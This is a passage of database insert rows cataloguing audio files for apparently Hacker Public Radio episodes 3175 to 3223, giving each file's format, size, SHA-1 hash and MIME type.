(3175,'hpr3175.spx','spx',2948298,'191c1c5c90ea78bb7f792597c0a7a78fb18f5846','application/ogg; charset=binary','Ogg data, Speex audio'),
(3176,'hpr3176.mp3','mp3',34742445,'a242479b3542c013c8be6a64ded55688bf6171b5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3176,'hpr3176.ogg','ogg',34727906,'c830f52d6eda4c0981a955389acb35ca72704f5b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3176,'hpr3176.spx','spx',15516091,'7081a1cd86fdf4d0fe1312f54dfe528903813461','application/ogg; charset=binary','Ogg data, Speex audio'),
(3177,'hpr3177.mp3','mp3',4414640,'a3ddcb43e1179591a44d2a5ccd098514a2b09b8d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3177,'hpr3177.ogg','ogg',4536195,'78da918e53285b3f5b26b9ef91fac2d48ac2130b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3177,'hpr3177.spx','spx',1971372,'2e93c7a8a1fc6300576db55365e756eb520964c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3178,'hpr3178.mp3','mp3',3275760,'d5ca4d4c8688f0c74981c0349eb877c7d16556ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3178,'hpr3178.ogg','ogg',3862315,'32512d2afbc77efa4346164ff962aa335556fc2a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3178,'hpr3178.spx','spx',1462715,'7592cb0c4f02b5b7b86357dac127a4aa07ca556f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3179,'hpr3179.mp3','mp3',4429113,'c37bdf77c0b84b0979626982c00c319216d35e3c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3179,'hpr3179.ogg','ogg',4393668,'bce91851adbd3c99602b6bd2716dc37b09d8cd4d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3179,'hpr3179.spx','spx',1977870,'27cb8c16849f12584b3b3062e0c4d47d1f6e95b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3180,'hpr3180.mp3','mp3',7610602,'5747ccaac968f3adfdd68176b078d442d014485c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3180,'hpr3180.ogg','ogg',8612656,'780bb1ee219c4375c9aaf9ba80bbbeeb2cd7939f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3180,'hpr3180.spx','spx',3398717,'742c6eb5c687d9818505b240390b967e9fd91355','application/ogg; charset=binary','Ogg data, Speex audio'),
(3181,'hpr3181.mp3','mp3',3265891,'a06471c844ee8eb4ffb6ce8d07762f96dc871596','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3181,'hpr3181.ogg','ogg',3352730,'ff71f250a4fa1a0d0d82b21f1817436dca9c65a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3181,'hpr3181.spx','spx',1458310,'5dd4ec815e56dc5c9a4c0f2cd88653382d2ccd98','application/ogg; charset=binary','Ogg data, Speex audio'),
(3182,'hpr3182.mp3','mp3',39273505,'f82294b880f8715ad6dad1e8586190539fb7a885','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3182,'hpr3182.ogg','ogg',36678174,'ddd554f928157e8075d33892923601aa738e9234','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3182,'hpr3182.spx','spx',17539736,'e71a0f7fc713f7d837104bf65ea388b39b28b828','application/ogg; charset=binary','Ogg data, Speex audio'),
(3183,'hpr3183.mp3','mp3',3420161,'1fe596c35a66e7696531c9d0927ee3327f299bef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3183,'hpr3183.ogg','ogg',3789361,'9632d40807064947f173f4465c3d8a907a6b588d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3183,'hpr3183.spx','spx',1527256,'2263665acadbcf662e7571a168dff267905252ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(3184,'hpr3184.mp3','mp3',28158742,'d195f93fc0edcdd91beec807d034ca6a628d6f35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3184,'hpr3184.ogg','ogg',27255960,'0ce030409d81a6e94660a213e1ff884c000a1d98','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3184,'hpr3184.spx','spx',12575727,'4e132cda3618eb6ccf54639f26309c50a7fea499','application/ogg; charset=binary','Ogg data, Speex audio'),
(3185,'hpr3185.mp3','mp3',9688691,'5e145ae36be5655924820a61de58750be31b6631','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3185,'hpr3185.ogg','ogg',11023822,'3804b125f3fbfedef429b2f563b471ee8bfe67d5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3185,'hpr3185.spx','spx',4326801,'34886c180953b5db636a53768a9f963c4bffa3b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3186,'hpr3186.mp3','mp3',4737494,'d5d7dd1b2ca8a12e4cb9220ab7c3c991e5d73bd0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3186,'hpr3186.ogg','ogg',5512895,'f34ebe91f637f2a1bb288b9b623903244dd6f593','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3186,'hpr3186.spx','spx',2115478,'c09e813018b973992c32fcb8f17d963da920043b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3187,'hpr3187.mp3','mp3',5309729,'583d827abb2dd2a7e94ef8368e3764b2ef36ee67','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3187,'hpr3187.ogg','ogg',5750695,'8ffb0277a3767ffd359da34f286c65a4f77b4611','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3187,'hpr3187.spx','spx',2371141,'e0aa1feeee6549d87561089e3dee1b7db9a5b94c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3188,'hpr3188.mp3','mp3',1679933,'f04dd1ade0a028bc070d4285f5c8e9c46b82abec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3188,'hpr3188.ogg','ogg',1760755,'846186d7b7857d13c991239333f13c6c6e7449bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3188,'hpr3188.spx','spx',750010,'28f70d1bf6ac7bde2f7abad385e8d983c03eec2a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3189,'hpr3189.mp3','mp3',2462385,'2e27c25e2f6a3925738dbec694823d671186f162','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3189,'hpr3189.ogg','ogg',2738555,'c00ee5470de9fbb409a27f86145d361584d425d2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3189,'hpr3189.spx','spx',1099403,'7860076a0787f2bd746ef30426e09884774400ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(3190,'hpr3190.mp3','mp3',10929810,'48a7f2a73e12dca59ef6257d9ce8274884c0c0d9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3190,'hpr3190.ogg','ogg',12296741,'68da0a12a05d5cd124a2c1a5491a00f748421907','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3190,'hpr3190.spx','spx',4881074,'76d411f71ada83419d1f3e5d0e530772a842c50b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3191,'hpr3191.mp3','mp3',8154133,'342509b69b1869659de6ff58bcc185a5cac4c3c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3191,'hpr3191.ogg','ogg',8715625,'4ac0ffe0ad2764bfbc775d50b1b9b9c5083118de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3191,'hpr3191.spx','spx',3641418,'25ce67b0f226b28eb3ebfa814ae340316a6c7922','application/ogg; charset=binary','Ogg data, Speex audio'),
(3192,'hpr3192.mp3','mp3',7364365,'e55fa43e048f681e841f0c1212b75ce50f2e6671','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3192,'hpr3192.ogg','ogg',8700072,'1785dd16edee2a2352219ade237835b74f9bf932','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3192,'hpr3192.spx','spx',3288660,'e23307bc83ebd8ed67601a39caedb379a504023d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3193,'hpr3193.mp3','mp3',16783766,'3bce3711685898a6cd90e4288ceef738236d222e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3193,'hpr3193.ogg','ogg',18901863,'5837185ce6ad93a2301049091fde14ed6c38d31a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3193,'hpr3193.spx','spx',7495510,'eefa91af0c9ea662f688bfaf00fb3d5f44cfbe4d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3194,'hpr3194.mp3','mp3',33715946,'dcff3a8e404baf718811be2acc3490e018a808d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3194,'hpr3194.ogg','ogg',32464094,'d8958e68744bd037c8de04ad1287ab6130f8d201','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3194,'hpr3194.spx','spx',15057621,'723282b9490dc7f15afe1ace5ce7a04698841f1a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3195,'hpr3195.mp3','mp3',29035020,'388770d19e473339d730b1b706a146d6d0547c27','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3195,'hpr3195.ogg','ogg',27120605,'f679a36799a3d19a957798bedfa936e1c0906cd4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3195,'hpr3195.spx','spx',12967132,'17f27a918e9930093bb541eaabc9b330cbc6e564','application/ogg; charset=binary','Ogg data, Speex audio'),
(3196,'hpr3196.mp3','mp3',44249990,'80edc7e86681a3284d44054686b3bdebfe11e227','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3196,'hpr3196.ogg','ogg',44370315,'cf6cd81e603b877ec08a05590a8b1112951142c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3196,'hpr3196.spx','spx',19762261,'aba688f99361784807a556805220b74c7a1167ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(3197,'hpr3197.mp3','mp3',12548772,'6acd9b0a31a4ed9d4e8aa01e107afb21e9834b22','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3197,'hpr3197.ogg','ogg',13578304,'27e1e44bd1b726c719eebb9e4a24e84bdf09ce35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3197,'hpr3197.spx','spx',5604164,'5a447817dd13100357ed201c4f7a0099ba2370fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3198,'hpr3198.mp3','mp3',12225102,'7abd13ed15d52e1594f225b944a9d6318f8a3490','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3198,'hpr3198.ogg','ogg',13524354,'29098be02b11130b540a2d646465d05d5ada9e14','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3198,'hpr3198.spx','spx',5459625,'efa72c8bdd46542dcdb51b4c5bc7c49eb9a7c5e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3199,'hpr3199.mp3','mp3',13309509,'81a001b34dab32ceb159781c975d0373422bf945','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3199,'hpr3199.ogg','ogg',14588618,'0b97e884d25950beff32aa206f93be5d69a3e1c9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3199,'hpr3199.spx','spx',5943909,'ef5613aa074da732fc8b70ca1ab451ccba6d1277','application/ogg; charset=binary','Ogg data, Speex audio'),
(3200,'hpr3200.mp3','mp3',10204686,'3daad4fb355a7dc842c3f8d6a7bf82ae01e8e6a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3200,'hpr3200.ogg','ogg',11702414,'30877e04b7bfda96130b273352e84c2768b17f25','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3200,'hpr3200.spx','spx',4557258,'60a1436012a2abac91abc1fb76d4bcbb1c3ddbb9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3201,'hpr3201.mp3','mp3',6664118,'a8db63f7918a88ce45be96a2d95fcd99474e58fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3201,'hpr3201.ogg','ogg',7380460,'6e23f9d53d1e690316c689428a74e3cc94e6588e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3201,'hpr3201.spx','spx',2976009,'180b9ff434b528f8b473fb6925a457dd684c378a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3202,'hpr3202.mp3','mp3',10145122,'4eefea3089a4e175a66dee20c55c090a0d0ad537','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3202,'hpr3202.ogg','ogg',11142996,'ab6c42be4138853ee1dbe4efadbdb6563704c4a0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3202,'hpr3202.spx','spx',4530679,'c1a3f737d9039829712bdc82a65b07f33dd22667','application/ogg; charset=binary','Ogg data, Speex audio'),
(3203,'hpr3203.mp3','mp3',15864033,'7f7a4305e58215d95aac5559c2dc8667379d9fd0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3203,'hpr3203.ogg','ogg',17734082,'dd97785d70fecacc052deed169da9a26e41844c2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3203,'hpr3203.spx','spx',7084841,'71a1123cf257dab57b533016deae257907a6afbe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3204,'hpr3204.mp3','mp3',8053233,'f185cc4c6468a569d98fdffe2d763ef4979146d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3204,'hpr3204.ogg','ogg',9267054,'5ea02a9d8f7bb78293701422c45239bcb31dc8b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3204,'hpr3204.spx','spx',3596428,'ff13a4d9b600cb9021e626f1170ad963f213fcac','application/ogg; charset=binary','Ogg data, Speex audio'),
(3205,'hpr3205.mp3','mp3',14772132,'23ffd7cbac2e7fc3279906ca280bed59162e5eac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3205,'hpr3205.ogg','ogg',17632373,'cc4546c0312f59184114c4a950816e9b7e355e5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3205,'hpr3205.spx','spx',6597080,'ccd5a9934d5b4254f451792ed2b32b23fea6a61c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3206,'hpr3206.mp3','mp3',28496888,'0aca2fdf78c8da0f7a2d344472e996ef4e80882f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3206,'hpr3206.ogg','ogg',32821302,'0463ba538181826bb3608a97469cec7a05e3bff6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3206,'hpr3206.spx','spx',12726739,'aa84c1f54a0053608645ad61d9e84c901652295d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3207,'hpr3207.mp3','mp3',31506363,'09b21af7c34f3527eeb0f3f7c69ca0d2b2a8d25b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3207,'hpr3207.ogg','ogg',30621224,'580ed86593cafce2340bf315b2a884958ce02b4e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3207,'hpr3207.spx','spx',14070822,'10c8b32939185d95b825443d90b3f7132d30c801','application/ogg; charset=binary','Ogg data, Speex audio'),
(3208,'hpr3208.mp3','mp3',10110491,'abe6a2eea91a16118c82ae08affde78ebdf700d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3208,'hpr3208.ogg','ogg',12134307,'34b063ef9dfd9f49b9b97104422c6a7ed9b1deef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3208,'hpr3208.spx','spx',4515295,'7b655c6ee54624ad682bf3c107f29b1a3fa1936e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3209,'hpr3209.mp3','mp3',34722781,'ffe4a599a0d039c302bafdfd2ad1f9300b7f4cac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3209,'hpr3209.ogg','ogg',32343135,'d35a91d3776282973cb6ad094a2b35aba091ffdc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3209,'hpr3209.spx','spx',15507284,'a47fcb95da1447c99c2e72270d99fe4726ee4218','application/ogg; charset=binary','Ogg data, Speex audio'),
(3210,'hpr3210.mp3','mp3',11870019,'e03de652e40eaf1a37fb7970e84ff5c69b67e959','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3210,'hpr3210.ogg','ogg',13593471,'0c63af82ef76663cca2faff3712463bc1ce7bcbf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3210,'hpr3210.spx','spx',5301051,'065539dfd4e7a9b023499049d6286353c63ac00e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3211,'hpr3211.mp3','mp3',9926677,'d94ad2c22df6753e2c4e225937359bafce183ecf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3211,'hpr3211.ogg','ogg',10761002,'c18f6a66ecf14a0479235eaadad70cb06b788f9a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3211,'hpr3211.spx','spx',4433082,'3f8ae4fc1d3d71a6e0d7c3c7f981892979075bbf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3212,'hpr3212.mp3','mp3',7187883,'36eb6598ef18f1321864d3853b7eceb7983c2516','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3212,'hpr3212.ogg','ogg',6397302,'9ae34e3a30c217202cbf056defa9bf83aae65791','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3212,'hpr3212.spx','spx',3209966,'d9d76b8f966bb9461e1d2e9a52bf159c3aae7a8e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3213,'hpr3213.mp3','mp3',15809094,'84d980afd06af19946b434dfaf9f724f57060ce6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3213,'hpr3213.ogg','ogg',17781303,'4989eda7dc3cc364dec64a7cf77c068484a46df0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3213,'hpr3213.spx','spx',7060277,'8c058ee490955fed7057900aebdd3b7bc61c01b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3214,'hpr3214.mp3','mp3',16220775,'375accf9c26ef91ad0ac880dd7f365e2672f46d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3214,'hpr3214.ogg','ogg',18100735,'66fee5f59b87320e213f2ff5272affa361d71f8c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3214,'hpr3214.spx','spx',7244139,'f68efa9f6e7b5f78db7b42983deace9a96350edf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3215,'hpr3215.mp3','mp3',4705350,'03250c9607adcc91f89dbfaa8f94f3011f126b2c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3215,'hpr3215.ogg','ogg',5293665,'6e0171d9a825ea2cba0d5e65211b68418ffb6177','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3215,'hpr3215.spx','spx',2101236,'08c87f4e89793cf7e6e0cbeac39aed80d07d576c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3216,'hpr3216.mp3','mp3',8786535,'af44c098faba25530f2ff0bc72b72e3fc65fa417','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3216,'hpr3216.ogg','ogg',9749447,'51e90a1414a5383b0493357cbaa3b1ffd5e56e6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3216,'hpr3216.spx','spx',3923919,'f30f44a76f44bc9c9ce8d8fcb53fe9c399b14368','application/ogg; charset=binary','Ogg data, Speex audio'),
(3217,'hpr3217.mp3','mp3',9968489,'c1ddc90a1c6fe6024d60e53cccec3db2ede58fbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3217,'hpr3217.ogg','ogg',9682715,'5129df14a34543a4fd1713b882738c55e818a0d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3217,'hpr3217.spx','spx',4451737,'74ecc05d2733689c241a4f21af7f5d7c1ac60567','application/ogg; charset=binary','Ogg data, Speex audio'),
(3218,'hpr3218.mp3','mp3',13727044,'5d4fe78a1832831ce40508e59ed2dddb1551d6d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3218,'hpr3218.ogg','ogg',15194316,'ea05542544d58e25c1fb1ea5f72e8ed86fa5468d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3218,'hpr3218.spx','spx',6130401,'6de7cc1896eefb1360ef679f2be4a2eaf0c0405e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3219,'hpr3219.mp3','mp3',37989800,'2e7c290fd0787fa6ef45c3950f48615ea1397f8a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3219,'hpr3219.ogg','ogg',35946444,'9acebbee8115e92a41b07f456778d36786eb441f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3219,'hpr3219.spx','spx',16966416,'7e7e6f554f3e9fa470b7da6dd28319d1580b63c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3220,'hpr3220.mp3','mp3',10623202,'2bae2e097a3a7825966c5b7965821222e4155e8a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3220,'hpr3220.ogg','ogg',12200610,'3da1ea90dd3cdb0184e54d67b498bbb8c0d5c856','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3220,'hpr3220.spx','spx',4744139,'82ce0485a2d2ed3a19d7dd1801120ec40f87a18f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3221,'hpr3221.mp3','mp3',24757816,'c0aae47c5421da5f6a25ec1702a63f1705ee590e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3221,'hpr3221.ogg','ogg',24672935,'6b1d6dcd28000d5158bb353439f679cc4ff15a77','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3221,'hpr3221.spx','spx',11056839,'81aac971439dc6b19775d9b8811f6d71114bc30c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3222,'hpr3222.mp3','mp3',14059753,'428c24e7dad9a2331a5d2becf505eae107c020f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3222,'hpr3222.ogg','ogg',15894232,'2565f95deb97989c2882cf11ba291665626d701b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3222,'hpr3222.spx','spx',6278995,'d35beca8e8f46625bcacaf6c5199455eb1eb0c4c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3223,'hpr3223.mp3','mp3',9835158,'89bdc29c6f2e0046093aa8052916ecf3c745b35f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3223,'hpr3223.ogg','ogg',10454095,'d6f4b2a9763267776374b13887c2865b7c779d17','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3223,'hpr3223.spx','spx',4392143,'dd5107e5ba57609da670caa5788ad18b9a5488ea','application/ogg; charset=binary','Ogg data, Speex audio'),
